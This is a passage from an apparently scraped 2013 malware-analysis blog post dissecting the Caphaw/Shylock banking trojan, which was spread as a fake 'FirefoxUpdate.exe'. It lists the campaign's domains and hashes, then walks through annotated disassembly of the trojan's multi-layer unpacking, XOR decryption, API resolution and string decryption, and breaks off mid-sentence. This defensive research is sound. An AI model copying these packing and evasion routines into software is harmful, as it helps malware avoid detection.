**Updated:**| _10/8/2013 2:02:32 PM_  
**Author:**| __  
**Tags:**| _windows environment browser_  
  

# **I** n depth analysis of Caphaw/Shylock from “FirefoxUpdate.exe” campaign –
Part 1****

### Introduction****

In this essay we will perform an in-depth analysis \(from the unpacking to
_explorer.exe_ code injection\) of the most recent version of
**Caphaw/Shylock** , a banking malware that, at the time of discovery, was
ranked as **FUD** \(Fully UnDetected\) by VirusTotal**.** The article will
cover the following topics:

  * **Analysis of the packer and related unpacking**.****
  * **Reverse engineering and dropper’s functional analysis**.****
  * **Reverse engineering and functional analysis of explorer.exe injected code**.****
  * **Overview of the associated botnet configuration and webinjects**.****
  * **Intelligence about the sample and involved domains**.****

#### How we’ve found it****

Before starting with the sample’s direct analysis, let’s talk about how the
first binary was discovered in order to add some initial intelligence**.**
While looking for **Blackhole** **EK** on urlquery we came across the
following entry: http://urlquery.net/search.php**?** q=sunnyitaliancost.com  

As you can see the URL has the following structure:
**sunnyitaliancost.com/ngen/controlling/\*.php** – after a quick analysis, it
emerged that the Exploit Kit was serving a low detection ZeroAccess
sample**.** The most interesting thing happened when we removed the path
_/ngen/controlling/_ in order to get the full domain, **sunnyitaliancost.com**
:

A fake Firefox critical update page popped up and served as a download vector
towards another executable named “**FirefoxUpdate.exe** ” that appeared to be
completed undetected on VirusTotal **.** By gathering information about the IP
of the involved domain, we were able to find out that the following domains
were also involved in the same campaign:

|
`fasttrackrowlingss``.biz``fieldsocrossing``.biz``midjunelists``.biz``fasttrackrowlingss``.biz``rotatingads``.biz``browseratrisk``.com``rockmonstocks``.net``doorwindowsen``.com``domenicossos``.net``rocktenkea``.com``felixxatinternal``.com``rcokmanshampoo``.com``domenicossos``.com``refreshingstart``.net``londontreasures``.net``rocktenkea``.com``domaintenso``.com``internalpleasures``.com``rockmonstocks``.net``sterchelloness``.com``sterchelloness``.net``prismsecretsrevealed``.com``sterchelloness``.org``felixooriums``.org``browserrequiresupdate``.com`  
---|---  
Additional research revealed that all domains used Blackhole with
**/ngen/controlling** path and the following variations of _FirefoxUpdate.exe_
:

| `domain**.** */ie/IEUpdate``.exe``domain**.** */chrome/ChromeUpdate``.exe`  
---|---  
#### Authors****

Evilcry \(@Blackmond \) and Cthulhu\(@0s0urce \)**.**

#### PE overview****

Let’s start with a general inspection of FirefoxUpdate.exe binary**.**

SHA256: **35ccf0e051fb0ff61e52ff4130eb38521f954f90ad9c97be59af1e7901974557**  
SHA1: **8d6d3522daaf4bba74153f9a738d776b4a7d1d6d**  
MD5: **dcc876357354acaf2b61ee3e839154ad**  
File size: **292**.** 0 KB \( 299008 bytes \)**  
File type: **Win32 EXE**  
Detection ratio: **0 / 46**  
Analysis date: **2013-08-25 10:48:11 UTC**

The executable shows the following Section Header \(PE inspection done with
Profiler \):

<img src='img/Temp2_4389' alt='pe_sections' />

We have a considerable number of Sections, some of them with “weird” names
like “E1″,”E2″,”B/0″ – please note that we can use the following names to
identify other similar samples**.** As marked in the screenshot, _.rdata_
section contains the _ImportTable_**.** According to the Import Table content
shown below:

<img src='img/Temp2_4392' alt='IT' />

We have some “usually uncommon” imported module, which is **WinSCard.dll** and
its related function **SCardAccessStartedEvent** , further observations on a
larger set of similar samples revealed that the majority of Caphaw variants
related to this campaign are using this import entry**.** Obviously this
peculiarity cannot be considered a key factor in the identification of this
specific threat, but it can help to identify a specific subset**.**

Finally let’s take a look at the entropy plot of the whole binary file:

<img src='img/Temp2_4388' alt='entropy' />

Here we have high entropy levels, this implies that the executable could be
packed**.**

#### The Analysis****

We can start the reversing of the sample with a static analysis approach, by
disassembling and watching code starting at the EntryPoint:

| `.text``:``004044B0` `sub` `esp``, ``150h``.text``:``004044B6` `push`
`edi``.text``:``004044B7` `lea` `eax``,
[``esp``+154h+StartupInfo]``.text``:``004044BB` `push` `eax` `;
lpStartupInfo``.text``:``004044BC` `call`
`ds``:GetStartupInfoA``.text``:``004044C2` `mov` `edi``,
``ds``:GetProcessHeap``.text``:``004044C8` `call` `edi` `;
GetProcessHeap``.text``:``004044CA` `test` `eax``, ``eax``.text``:``004044CC`
`jz` `Exit_Process``.text``:``004044D2` `push` `esi``.text``:``004044D3`
`push` `1000h ` `; dwBytes``.text``:``004044D8` `push` `8` `;
dwFlags``.text``:``004044DA` `push` `eax` `; hHeap``.text``:``004044DB` `call`
`ds``:HeapAlloc``.text``:``004044E1` `call`
`ds``:GetCommandLineA``.text``:``004044E7` `mov` `esi``,
``eax``.text``:``004044E9` `mov` `eax``, [``esp``+158h+StartupInfo``**.**
cb``]``.text``:``004044ED` `test` `eax``, ``eax``.text``:``004044EF` `jnz`
`short` `getCurrentDirectory`  
---|---  
This piece of code should be pretty easy to understand, if GetProcessHeap
\(the function retrieves a handle to the default heap of the calling process\)
fails, execution terminates and no infection takes place, otherwise the
command-line string is retrieved together with the current directory**.**

| `.text``:``004045AE` `push` `0` `.text``:``004045B0` `call`
`ds``:GetModuleHandleA``.text``:``004045B6` `mov` `ecx``, [``eax``+3Ch]
``.text``:``004045B9` `lea` `edx``,
[``esp``+158h+flOldProtect]``.text``:``004045BD` `push` `edx` `;
lpflOldProtect``.text``:``004045BE` `add` `ecx``, ``eax``.text``:``004045C0`
`mov` `ecx``, [``ecx``+50h]``.text``:``004045C3` `push`
`PAGE_EXECUTE_READWRITE` `; flNewProtect``.text``:``004045C5` `push` `ecx` `;
dwSize``.text``:``004045C6` `push` `eax` `; lpAddress``.text``:``004045C7`
`call` `ds``:VirtualProtect``..``.text``:``004045DF` `push`
`0``.text``:``004045E1` `push` `0``.text``:``004045E3` `push`
`0``.text``:``004045E5` `call` `sub_4014D0`  
---|---  
The above piece of code uses **GetModuleHandleA** to get the base address of
the calling process \(the malicious process itself\), later on it changes the
permission map of the committed memory via **VirtualProtect** , in our case
the permission is **PAGE\_EXECUTE\_READWRITE** , this is a typical behaviour
of packed code: the malware needs to decrypt \(WRITE\) blocks of encrypted
code before executing them**.** Soon after we can inspect the**call
004014d0****.**

| `.text``:``004014D0` `push` `ebp``.text``:``004014D1` `mov` `ebp``,
``esp``..``.text``:``004014DB` `push` `edi``.text``:``004014DC` `push` `0` `;
lpModuleName``.text``:``004014DE` `call` `ds``:GetModuleHandleA ` `;Get
executable base address``.text``:``004014E4` `mov` `esi``,
``ds``:GetTickCount``.text``:``004014EA` `mov` `ebx``,
``eax``.text``:``004014EE` `test` `al``, ``0C8h``.text``:``004014F0` `jnz`
`short` `get_processversion``..``.text``:``00401500` `get_processversion: ` `;
CODE XREF: sub_4014D0+20j``.text``:``00401500` `mov` `esi``,
[``ebx``+3Ch]``.text``:``00401503` `push` `0` `;
ProcessId``.text``:``00401505` `add` `esi``, ``ebx``.text``:``00401507` `call`
`ds``:GetProcessVersion``.text``:``0040150D` `test` `eax``,
``eax``.text``:``0040150F` `jnz` `short` `next_step``.text``:``00401511`
`push` `eax` `; uExitCode``.text``:``00401512` `call`
`ds``:ExitProcess``.text``:``00401518` `next_step:``..``.text``:``00401534`
`push` `ebx` `; FirefoxUpdate Base Address``.text``:``00401535` `fstp`
`[``ebp``+var_10]``.text``:``00401538` `call`
`Get_PE_section_a``dd``ress``..``.text``:``00401549` `jnz` `short`
`previous_section` `; eax - 0x28 (previous section)``.text``:``00401586`
`previous_section: ``.text``:``00401586` `add` `eax``, 0FFFFFFD8h` `; eax -
0x28 (previous section)`  
---|---  
The scope of the previous snippet of code is to locate each PE Section
starting at .rsrc \(8th section\) and moving to the previous ones by adding –
0×28**.** Let’s now check the next block of code:

| `.text``:``004015B1` `mov` `eax``, [``esi``+50h] ` `; Size of
Image``.text``:``004015B4` `push` `40h ` `;
PAGE_EXECUTE_READWRITE``.text``:``004015B6` `push` `1000h ` `;
MEM_COMMIT``.text``:``004015BB` `push` `eax` `; dwSize``.text``:``004015BC`
`push` `0` `; lpAddress``.text``:``004015BE` `call`
`ds``:VirtualAlloc``..``.text``:``004015C4` `mov` `edx``, [``esi``+50h]
``.text``:``004015C7` `lea` `ecx``,
[``ebp``+flOldProtect]``.text``:``004015CA` `push` `ecx` `;
lpflOldProtect``.text``:``004015CB` `push` `40h ` `;
flNewProtect``.text``:``004015CD` `push` `edx` `; dwSize``.text``:``004015CE`
`push` `ebx` `; lpAddress``.text``:``004015CF` `mov` `[``ebp``+arg_0],
``eax``.text``:``004015D2` `call` `edi` `; VirtualProtect``.text``:``004015D4`
`fld` `ds``:``db``l_40B9A8``.text``:``004015DA` `mov` `ecx``, [``esi``+50h] `
`; Size of Image``.text``:``004015DD` `mov` `edi``, [``ebp``+``8``] ` `;
pointer to the freshly allocated clock of memory``.text``:``004015E0` `mov`
`eax``, ``ecx``.text``:``004015E2` `shr` `ecx``, ``2``.text``:``004015E5`
`mov` `esi``, ``ebx``.text``:``004015E7` `rep` `movsd` `; Copy PE /itself/ in
allocated block of memory``..``.text``:``00401605` `push` `eax` `; PE
allocated in memory``.text``:``00401606` `call` `sub_401440`  
---|---  
This part basically allocates a block of memory of the same size of the
current running PE image \(esi+50h == Size of Image in the PE\)**.** The next
action is to change the protection \(PAGE\_EXECUTE\_READWRITE\) of the freshly
allocated chunk and copy inside it the entire PE image**.** Let’s now inspect
call 00401440:

| `.text``:``00401440` `push` `esi``.text``:``00401441` `mov` `esi``,
[``esp``+``8``]``.text``:``00401445` `mov` `eax``,
[``esi``+3Ch]``.text``:``00401448` `mov` `ecx``, [``eax``+``esi``+34h]` `;
PE``..``.text``:``00401455` `mov` `ecx``, [``eax``+0A0h]` `; relocation
directory``.text``:``0040145B` `test` `ecx``, ``ecx``.text``:``0040145D` `jz`
`short` `loc_4014C2``.text``:``0040145F` `push` `ebx``.text``:``00401460`
`mov` `ebx``, [``eax``+0A4h]` `; relocation directory
size``.text``:``00401466` `add` `ecx``, ``esi` `; new allocated pe +
relocation directory``.text``:``00401468` `add` `ebx``, ``ecx` `; add
relocation directory size``.text``:``0040146A` `cmp` `ecx``,
``ebx``.text``:``0040146C` `mov` `[``esp``+10h], ``ebx``.text``:``00401470`
`jnb` `short` `loc_4014C1``.text``:``00401472` `push`
`ebp``.text``:``00401473``.text``:``00401473` `loc_401473``:
``.text``:``00401473` `mov` `eax``, [``ecx``+``4``] ` `; PE address of the new
allocated PE``.text``:``00401476` `test` `eax``, ``eax``.text``:``00401478`
`jz` `short` `loc_4014B9``.text``:``0040147A` `add` `eax``,
``0FFFFFFF8h``.text``:``0040147D` `shr` `eax``, ``1``.text``:``0040147F`
`test` `eax``, ``eax``.text``:``00401481` `lea` `edx``,
[``ecx``+``8``]``.text``:``00401484` `jbe` `short`
`loc_4014B9``.text``:``00401486` `mov` `ebx``,
``eax``.text``:``00401488``.text``:``00401488` `loc_401488``:
``.text``:``00401488` `xor` `eax``, ``eax``.text``:``0040148A` `mov` `ax``,
[``edx``] ` `; edx points to the beginning of the ``relocation
directory``.text``:``0040148D` `mov` `ebp``, ``eax``.text``:``0040148F` `and`
`ebp``, ``0F000h``.text``:``00401495` `cmp` `ebp``,
``3000h``.text``:``0040149B` `jnz` `short` `loc_4014AF``.text``:``0040149D`
`mov` `ebp``, [``ecx``]``.text``:``0040149F` `and` `eax``,
``0FFFh``.text``:``004014A4` `add` `eax``, ``ebp``.text``:``004014A6` `mov`
`ebp``, [``eax``+``esi``] ` `; next imported function``.text``:``004014A9`
`add` `eax``, ``esi``.text``:``004014AB` `add` `ebp``,
``edi``.text``:``004014AD` `mov` `[``eax``], ``ebp` `; new fixed address of
the import placed in the new executable`  
---|---  
This piece of code fixes the imported APIs addresses in order to correctly
call each function when the execution flow jumps into the “new” PE**.** In the
nearby call 00401440 we meet our first “call to the next layer”:

| `.text``:``0040161B` `add` `eax``, ``esi` `; Get entrypoint in PE located in
memory``.text``:``0040161D` `call` `eax` `; Next layer`  
---|---  
Let’s see what happens inside the new layer, we will talk about the most
significant portions of code**.**

| `00D614D0` `55` `PUSH` `EBP``00D614D1` `8BEC` `MOV` `EBP``,``ESP``00D614D3`
`81EC` `4C010000` `SUB` `ESP``,``14C``..``00D614DC` `6A` `00` `PUSH`
`0``00D614DE` `FF15` `7490D600` `CALL` `DWORD` `PTR` `DS``:[``0D69074``] ` `;
GetModuleHandleA``00D614E4` `8B35` `4490D600` `MOV` `ESI``,``DWORD` `PTR`
`DS``:[``0D69044``]``00D614EA` `8BD8` `MOV` `EBX``,``EAX``00D61500` `8B73`
`3C` `MOV` `ESI``,``DWORD` `PTR` `DS``:[``EBX``+``3C``] ` `; Get PE of the
main dropper``..``00D61518` `8B45` `08` `MOV` `EAX``,``DWORD` `PTR`
`SS``:[``EBP``+``8``] ` `; Base address of the new PE``..``00D61631` `52`
`PUSH` `EDX``00D61632` `C745` `FC` `0001000` `MOV` `DWORD` `PTR`
`SS``:[``EBP``-``4``],``100``00D61639` `FF15` `3090D600` `CALL` `DWORD` `PTR`
`DS``:[``0D69030``] ` `; GetComputerNameA``..``00D6165D` `68` `54D0D600`
`PUSH` `0D6D054` `; ASCII "kernel32"``00D61662` `FF15` `7490D600` `CALL`
`DWORD` `PTR` `DS``:[``0D69074``] ` `; GetModuleHandleA``00D61668` `8B4E` `50`
`MOV` `ECX``,``DWORD` `PTR` `DS``:[``ESI``+``50``] ` `; Size of
Image``00D6166B` `6A` `40` `PUSH` `40``00D6166D` `68` `00100000` `PUSH`
`1000``00D61672` `51` `PUSH` `ECX` `; Size``00D61673` `53` `PUSH` `EBX` `;
0040000 (PE base address)``00D61674` `8945` `DC` `MOV` `DWORD` `PTR`
`SS``:[``EBP``-``24``],``EAX``00D61677` `FF15` `3C90D600` `CALL` `DWORD` `PTR`
`DS``:[``0D6903C``] ` `; VirtualAlloc``00D6167D` `8B46` `50` `MOV`
`EAX``,``DWORD` `PTR` `DS``:[``ESI``+``50``]``..``00D616F1` `8D0485`
`0870E700` `LEA` `EAX``,[``EAX``*``4``+``0E77008``] ` `; Pointer to a block of
data in EAX``00D616F8` `C1E9` `02` `SHR` `ECX``,``2``00D616FB` `8945` `E4`
`MOV` `DWORD` `PTR` `SS``:[``EBP``-``1C``],``EAX``00D616FE` `8BF0` `MOV`
`ESI``,``EAX``00D61700` `8BFB` `MOV` `EDI``,``EBX``00D61702` `F3``:``A5` `REP`
`MOVS` `DWORD` `PTR` `ES``:[``EDI``],``DWORD` `PTR` `DS``:[``ESI``] ` `; Base
address now contains a block of DATA``00D61704` `8BCA` `MOV`
`ECX``,``EDX``00D61706` `83E1` `03` `AND` `ECX``,``00000003``00D61709`
`F3``:``A4` `REP` `MOVS` `BYTE` `PTR` `ES``:[``EDI``],``BYTE` `PTR`
`DS``:[``ESI``]``00D6170B` `8B4D` `FC` `MOV` `ECX``,``DWORD` `PTR`
`SS``:[``EBP``-``4``]``00D6170E` `51` `PUSH` `ECX``00D6170F` `50` `PUSH`
`EAX``00D61710` `50` `PUSH` `EAX``00D61711` `8945` `F4` `MOV` `DWORD` `PTR`
`SS``:[``EBP``-``0C``],``EAX``00D61714` `E8` `E7F8FFFF` `CALL` `00D61000`  
---|---  
_VirtualAlloc_ allocates a new block of memory with PAGE\_EXECUTE\_READWRITE
permissions, which will be used to host some portion of code to be executed,
then a  _rep movs_ instruction copies a new block of code**.** Here’s what
happens in synthesis inside call 00D61000:

| `00D61035` `66``:``3306` `XOR` `AX``,``WORD` `PTR` `DS``:[``ESI``] ` `; XOR
based data decryption``00D61038` `83C6` `02` `ADD` `ESI``,``2``00D6103B` `4B`
`DEC` `EBX``00D6103C` `66``:``894437` `FE` `MOV` `WORD` `PTR`
`DS``:[``ESI``+``EDI``-``2``],``AX` `; copy decrypted data``00D61041` `^ ``75`
`ED` `JNE` `SHORT` `00D61030``00D61043` `5F` `POP` `EDI``00D61044` `5B` `POP`
`EBX``00D61045` `5E` `POP` `ESI``00D61046` `C3` `RETN`  
---|---  
A block of data is decrypted by using a simple XOR, by inspecting the
destination buffer we can observe the following memory layout:

<img src='img/Temp2_4382' alt='upx' />

A new executable has been decrypted, you can also see that PE seems packed
with UPX**.** Immediately after _call 00D61000_ the freshly decrypted PE will
be copied in the corresponding 0040000 Base Address, in other words the
previous PE as been exchanged with this “new” one**.**

| `00D617D6` `E8` `35F9FFFF` `CALL` `00D61110` `; Build a minimal IAT for UPX
executable``00D617DB` `8B53` `3C` `MOV` `EDX``,``DWORD` `PTR`
`DS``:[``EBX``+``3C``] ` `; New UPX executable PE``00D617DE` `8B4413` `28`
`MOV` `EAX``,``DWORD` `PTR` `DS``:[``EDX``+``EBX``+``28``]` `;
AddressOfEntryPoint = baseaddress+PE+0x28``00D617E2` `03C3` `ADD`
`EAX``,``EBX``00D617E4` `83C4` `04` `ADD` `ESP``,``4``00D617E7` `8945` `F0`
`MOV` `DWORD` `PTR` `SS``:[``EBP``-``10``],``EAX``00D617EA` `FFD0` `CALL`
`EAX` `; Jump to the UPX executable`  
---|---  
Call EAX confirms that we’ve reached the second layer, EAX will contain the
EntryPoint address of the UPX executable**.** Let’s see what happens in the
second block of code:

| `0044C0B0` `8A06` `MOV` `AL``,``BYTE` `PTR` `DS``:[``ESI``]``0044C0B2` `46`
`INC` `ESI``0044C0B3` `8807` `MOV` `BYTE` `PTR`
`DS``:[``EDI``],``AL``0044C0B5` `47` `INC` `EDI``0044C0B6` `01DB` `ADD`
`EBX``,``EBX``0044C0B8` `75` `07` `JNE` `SHORT` `0044C0C1``0044C0BA` `8B1E`
`MOV` `EBX``,``DWORD` `PTR` `DS``:[``ESI``]``0044C0BC` `83EE` `FC` `SUB`
`ESI``,-``4``0044C0BF` `11DB` `ADC` `EBX``,``EBX``0044C0C1` `^ ``72` `ED` `JB`
`SHORT` `0044C0B0`  
---|---  
This part transfers a block of code pointed by ESI into the location pointed
by EDI \(that initially points to 00401000\), once the code has been
transferred it will be decrypted**.** After decryption we have the following
routine:

| `0044C172` `8A07` `MOV` `AL``,``BYTE` `PTR` `DS``:[``EDI``] ` `; Move the
one byte pointed by EDI in AL``0044C174` `47` `INC` `EDI` `; Next
byte``0044C175` `2C` `E8` `SUB` `AL``,``0E8` `; Byte - 0xE8``0044C177` `3C`
`01` `CMP` `AL``,``1` `; Result is 1 **?**``0044C179` `^ ``77` `F7` `JA`
`SHORT` `0044C172` `; Next byte``0044C17B` `803F` `00` `CMP` `BYTE` `PTR`
`DS``:[``EDI``],``0` `; Is byte after equal to 0 **?**``0044C17E` `^ ``75`
`F2` `JNE` `SHORT` `0044C172``0044C180` `8B07` `MOV` `EAX``,``DWORD` `PTR`
`DS``:[``EDI``] ` `; Move DWORD pointed by EDI in EAX``0044C182` `8A5F` `04`
`MOV` `BL``,``BYTE` `PTR` `DS``:[``EDI``+``4``] ` `; Next DWORD``0044C185`
`66``:``C1E8` `08` `SHR` `AX``,``8``0044C189` `C1C0` `10` `ROL`
`EAX``,``10``0044C18C` `86C4` `XCHG` `AH``,``AL``0044C18E` `29F8` `SUB`
`EAX``,``EDI``0044C190` `80EB` `E8` `SUB` `BL``,``0E8``0044C193` `01F0` `ADD`
`EAX``,``ESI``0044C195` `8907` `MOV` `DWORD` `PTR` `DS``:[``EDI``],``EAX` `;
Substitute fixed address`  
---|---  
EDI initially points to 00401000 \(where freshly decrypted code is placed\),
the routine takes one byte \(we are dealing with code, so we need to consider
these bytes as **Opcodes**\) at a time and subtracts **0xE8** to it**.** This
is a simple way to check if the opcode pointed by EDI is a _Call_**.** When
the code meets a call, it takes the adjacent DWORD \(which is the address
pointed by the call\) and places it in EAX \(instruction 0044C180\) then it
applies a fix and finally, at instruction 0044C195, replaces the old address
pointed by the call with the new one**.** The picture below shows the**code
before the fix** :

<img src='img/Temp2_4384' alt='Callfix' />

You can clearly see an incoherent address \(8340101A\), here’s the**situation
after the fix** :

<img src='img/Temp2_4391' width='608' height='71' alt='callfix2' />

Looks definitely coherent now**.**

After the call fix we land here:

| `0044C21C` `39C4` `CMP` `ESP``,``EAX``0044C21E` `^ ``75` `FA` `JNE` `SHORT`
`0044C21A``0044C220` `83EC` `80` `SUB` `ESP``,-``80``0044C223` `^ ``E9`
`D84DFBFF` `JMP` `00401000`  
---|---  
Last instruction represent the jump to the third layer**.** After landing into
the third layer the first important operation is shown below:

| `004011B9` `FFD0` `CALL` `EAX` `; VirtualAlloc``004011BB` `8945` `F8` `MOV`
`DWORD` `PTR` `SS``:[``EBP``-``8``],``EAX``004011BE` `85C0` `TEST`
`EAX``,``EAX``004011C0` `74` `5B` `JZ` `SHORT` `0040121D``..``004011D0` `4D`
`DEC` `EBP``004011D1` `FC` `CLD``004011D2` `FC` `CLD``004011D3` `F3``:``A4`
`REP` `MOVS` `BYTE` `PTR` `ES``:[``EDI``],``BYTE` `PTR` `DS``:[``ESI``]` `;
Copy a ``new portion of data ``into` `the new block of ``memory`  
---|---  
This is the classical scheme we have already seen: VirtualAlloc builds a new
block of memory and finally a block of data is copied inside it, by taking a
look at this data we discover that there is \(again**\!**\) a new executable:  

<img src='img/Temp2_4390' alt='new_bss_pe' />

Section names clearly indicates that this PE is different from the others
\(like the UPX\) previously seen**.** Finally we land here:

| `00401077` `8B40` `10` `MOV` `EAX``,``DWORD` `PTR` `DS``:[``EAX``+``10``]
``0040107A` `03C6` `ADD` `EAX``,``ESI` `;EAX points to the new EntryPoint
``0040107C` `FFD0` `CALL` `EAX`  
---|---  
#### Exploring the core****

With this final call we finally reach the unpacked code, as is shown below:

| `00EF615D` `55` `PUSH` `EBP``00EF615E` `8BEC` `MOV` `EBP``,``ESP``00EF6160`
`8B45` `0C` `MOV` `EAX``,``DWORD` `PTR` `SS``:[``EBP``+``0C``]``00EF6163`
`83E8` `00` `SUB` `EAX``,``0``00EF6166` `74` `15` `JE` `SHORT`
`00EF617D``00EF6168` `48` `DEC` `EAX``00EF6169` `74` `0D` `JE` `SHORT`
`00EF6178``00EF616B` `48` `DEC` `EAX``00EF616C` `74` `0F` `JE` `SHORT`
`00EF617D``00EF616E` `48` `DEC` `EAX``00EF616F` `74` `0C` `JE` `SHORT`
`00EF617D``00EF6171` `E8` `C1FAFFFF` `CALL` `00EF5C37``00EF6176` `EB` `05`
`JMP` `SHORT` `00EF617D``00EF6178` `E8` `19F5FFFF` `CALL` `00EF5696``00EF617D`
`33C0` `XOR` `EAX``,``EAX``00EF617F` `40` `INC` `EAX``00EF6180` `5D` `POP`
`EBP``00EF6181` `C2` `0C00` `RETN` `0C`  
---|---  
The full dropper/injector code is concentrated into the **call 00EF5C37****.**
Before starting with dynamic analysis \(debugging approach\) it’s important to
specify that we will deal with _a lot_ of redundant pieces of code that won’t
be reported here for obvious reasons**.**

| `00EF5C37` `55` `PUSH` `EBP``00EF5C38` `8BEC` `MOV` `EBP``,``ESP``00EF5C3A`
`83E4` `F8` `AND` `ESP``,``FFFFFFF8``00EF5C3D` `81EC` `DC010000` `SUB`
`ESP``,``1DC``00EF5C43` `53` `PUSH` `EBX``00EF5C44` `56` `PUSH`
`ESI``00EF5C45` `57` `PUSH` `EDI``00EF5C46` `8D7424` `18` `LEA`
`ESI``,[``ESP``+``18``]``00EF5C4A` `E8` `FEFEFDFF` `CALL` `00ED5B4D` `;
Allocate Heap``..``00EF5C5C` `E8` `B237FEFF` `CALL` `00ED9413` `;
GetCommandLineA``00EF5C61` `8BF0` `MOV` `ESI``,``EAX` `; ASCII
"c:\FirefoxUpdate.exe"`  
---|---  
As you can see we have marked _call 00ED9413_ as “GetCommandLineA”, this
happens because **Caphaw/Shylock** does not call directly the required API but
uses the following schema:

| `00ED9413` `56` `PUSH` `ESI``00ED9414` `68` `2E1D6AC6` `PUSH`
`C66A1D2E``00ED9419` `E8` `8AECFFFF` `CALL` `00ED80A8` `; retrieve module
address``00ED941E` `8BF0` `MOV` `ESI``,``EAX``00ED9420` `E8` `DFECFFFF` `CALL`
`00ED8104` `; retrieve API address``00ED9425` `59` `POP` `ECX``00ED9426` `5E`
`POP` `ESI``00ED9427` `FFE0` `JMP` `EAX` `; GetCommandLineA`  
---|---  
Now let’s see another common function \(_call 00EEBC31_\) widely used to
decrypt strings**.**

| `00EEBC96` `E8` `C1BFFEFF` `CALL` `00ED7C5C` `;RtlAllocateHeap``00EEBC9B`
`59` `POP` `ECX``00EEBC9C` `59` `POP` `ECX``00EEBC9D` `8945` `F8` `MOV`
`DWORD` `PTR` `SS``:[``EBP``-``8``],``EAX``00EEBCA0` `85C0` `TEST`
`EAX``,``EAX``00EEBCA2` `74` `37` `JE` `SHORT` `00EEBCDB``00EEBCA4` `8365`
`F4` `00` `AND` `DWORD` `PTR` `SS``:[``EBP``-``0C``],``00000000``00EEBCA8`
`8975` `EC` `MOV` `DWORD` `PTR` `SS``:[``EBP``-``14``],``ESI``00EEBCAB` `8B7D`
`F8` `MOV` `EDI``,``DWORD` `PTR` `SS``:[``EBP``-``8``]``00EEBCAE` `8B75` `EC`
`MOV` `ESI``,``DWORD` `PTR` `SS``:[``EBP``-``14``]``00EEBCB1` `8B4D` `F0`
`MOV` `ECX``,``DWORD` `PTR` `SS``:[``EBP``-``10``]``00EEBCB4` `FC`
`CLD``00EEBCB5` `F3``:``A4` `REP` `MOVS` `BYTE` `PTR` `ES``:[``EDI``],``BYTE`
`PTR` `DS``:[``ESI``]` `;Copy the ``encrypted string ``in` `the recently
allocated heap``00EEBCB7` `897D` `F4` `MOV` `DWORD` `PTR`
`SS``:[``EBP``-``0C``],``EDI``00EEBCBA` `6A` `01` `PUSH` `1``00EEBCBC` `FF33`
`PUSH` `DWORD` `PTR` `DS``:[``EBX``]``00EEBCBE` `8BC8` `MOV`
`ECX``,``EAX``00EEBCC0` `E8` `7B19FFFF` `CALL` `00EDD640` `;Decrypt
string``00EEBCC5` `59` `POP` `ECX`  
---|---  
Let’s see how _00EDD640_ works:

| `00EDD640` `55` `PUSH` `EBP``00EDD641` `8BEC` `MOV` `EBP``,``ESP``00EDD643`
`85C9` `TEST` `ECX``,``ECX``00EDD645` `74` `3A` `JE` `SHORT`
`00EDD681``00EDD647` `56` `PUSH` `ESI``00EDD648` `8A11` `MOV` `DL``,``BYTE`
`PTR` `DS``:[``ECX``] ` `;Encrypted byte pointed by ECX in AL``00EDD64A`
`8AC2` `MOV` `AL``,``DL``00EDD64C` `3245` `08` `XOR` `AL``,``BYTE` `PTR`
`SS``:[``EBP``+``8``]` `;XOR Encrypted byte with a key ``byte` `pointed by
``EBP``+``8` `00EDD64F` `837D` `0C` `01` `CMP` `DWORD` `PTR`
`SS``:[``EBP``+``0C``],``1``00EDD653` `8801` `MOV` `BYTE` `PTR`
`DS``:[``ECX``],``AL``00EDD655` `75` `04` `JNE` `SHORT` `00EDD65B``00EDD657`
`84C0` `TEST` `AL``,``AL``00EDD659` `EB` `08` `JMP` `SHORT`
`00EDD663``00EDD65B` `837D` `0C` `00` `CMP` `DWORD` `PTR`
`SS``:[``EBP``+``0C``],``0``00EDD65F` `75` `04` `JNE` `SHORT`
`00EDD665``00EDD661` `84D2` `TEST` `DL``,``DL``00EDD663` `74` `1B` `JE`
`SHORT` `00EDD680``00EDD665` `8B45` `08` `MOV` `EAX``,``DWORD` `PTR`
`SS``:[``EBP``+``8``]``00EDD668` `69C0` `4D030000` `IMUL`
`EAX``,``EAX``,``34D``00EDD66E` `05` `41020000` `ADD` `EAX``,``241``00EDD673`
`33D2` `XOR` `EDX``,``EDX``00EDD675` `83CE` `FF` `OR`
`ESI``,``FFFFFFFF``00EDD678` `F7F6` `DIV` `ESI``00EDD67A` `41` `INC`
`ECX``00EDD67B` `8955` `08` `MOV` `DWORD` `PTR`
`SS``:[``EBP``+``8``],``EDX``00EDD67E` `^ ``EB` `C8` `JMP` `SHORT` `00EDD648`
`;Decrypt next byte`  
---|---  
Finally, the encrypted string placed in the allocated piece of heap will be
replaced by the decrypted one**.** Back to the main \(inside the Call
00EF5C37\), whe have ‘ -test’ as decrypted string**.** The stages of infection
are marked by a series of strings, the first one we meet is:

| `00EF5CF7` `50` `PUSH` `EAX``00EF5CF8` `B8` `48ADEB00` `MOV`
`EAX``,``0EBAD48``00EF5CFD` `E8` `2F5FFFFF` `CALL` `00EEBC31` `; "HSE::Step 1
START VERSION %s"``00EF5D02` `8B00` `MOV` `EAX``,``DWORD` `PTR`
`DS``:[``EAX``]``00EF5D04` `C70424` `38ADEB00` `MOV` `DWORD` `PTR`
`SS``:[``ESP``],``0EBAD38` `; ASCII "1**.** 7**.** 11.12850"`  
---|---  
that, once decrypted, becomes: **HSE::Step 1 START VERSION 1**.** 7.11**.**
12850**.

| `00EF5D2A` `68` `CC010000` `PUSH` `1CC``00EF5D2F` `E8` `A526FEFF` `CALL`
`00ED83D9` `; Allocate Heap``00EF5D34` `59` `POP` `ECX``00EF5D35` `85C0`
`TEST` `EAX``,``EAX``00EF5D37` `74` `08` `JE` `SHORT` `00EF5D41``00EF5D39`
`50` `PUSH` `EAX` `; Pointer to the allocated heap``00EF5D3A` `E8` `684CFFFF`
`CALL` `00EEA9A7`  
---|---  
**Call 00EEA9A7** contains the features that characterise the **HSE:: Step 1
phase** , we will see a synthesis of these operations**.**

A security descriptor is initialised via **InitializeSecurityDescriptor** and
consequently we have:

| `SetSecurityDescriptorDacl with the following arguments ``Arg1 =
``0F7F77C``Arg2 = ``1``Arg3 = ``0``Arg4 = ``0`  
---|---  
The second parameter is set to TRUE, the function sets the
**SE\_DACL\_PRESENT** flag in the **SECURITY\_DESCRIPTOR\_CONTROL** structure
and uses the values in the pDacl and bDaclDefaulted parameters**.** Third
parameter is pDacl, this parameter is **NULL** , a **NULL** DACL is assigned
to the security descriptor, which allows all access to the object**.**

Immediately after we have a call to _GetVersionExA_ , in order to get the OS
version of the victim**.** Here’s a quick summary of the information gathered:

| `GetEnvironmentVariableA -> with argument SYSTEMDRIVE which returns the
current System Drive ``(``C``: ``in` `our case)**.**``Call` `GetComputerNameA
